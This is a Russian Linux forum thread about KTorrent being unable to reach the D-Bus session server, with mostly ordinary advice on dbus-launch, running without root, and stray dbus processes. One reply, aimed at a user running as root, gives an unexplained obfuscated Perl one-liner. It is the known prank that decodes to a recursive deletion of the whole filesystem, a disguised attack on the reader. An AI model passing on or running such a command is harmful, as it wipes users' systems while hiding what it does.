LINUX.ORG.RU

Ответ на: комментарий от iivvaann

Да, такое встречается с программами кде. Можно попробовать запустить dbus через dbus-launch, а вообще гугл лучше подскажет.

anonymous
()
Ответ на: комментарий от ptah_alexs

1) выйди из рута
2) запусти ktorrent

fixed...

yet another К.О.

xydo ★★
()

> находясь под рутом
perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

ЗЫ ССЗБ

AITap ★★★★★
()
15 ноября 2009 г.

А у меня похожая проблема: коннекчусь по ssh -X на машину под обычным пользователем, запускаю на ней ktorrent и получаю:

unknown program name>(17249)/: KUniqueApplication: Cannot find the D-Bus session server

<unknown program name>(17248)/: KUniqueApplication: Pipe closed unexpectedly.

Причем kmail например без проблем запускается, а если перелогиниться с помощью 'su -' под рута, то и ktorrent нормально запускается.

Подскажите пожалуйста как вылечить.

savigm
()
Ответ на: комментарий от savigm

Кому интересно: версия 2.2.8 таким багом не страдает, нормально работает по ssh, а вот текущая для openSuse 11.0 - 3.0.2 бажная в этом плане.

savigm
()
Ответ на: комментарий от staseg

>su - -u user -c «ktorrent»

Решил сам проверить. -u не нужно, и не работает.

staseg ★★★★★
()
Ответ на: комментарий от savigm

Проблема решается так: на стороне клиента, т.е. у меня убиваются все процессы dbus, кроме запущенного от 101.

/bin/dbus-daemon --system - запущен от 101, оставляем dbus-launch --autolaunch 7a0501a6c921a52616ec2e64484e7035 --binary-syntax --close-stderr - запущен от пользователя, убиваем /bin/dbus-daemon --fork --print-pid 5 --print-address 7 --session - запущен от пользователя, убиваем

Только вот после перезагрузки они опять появляются, не могу понять откуда они берутся.

savigm
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.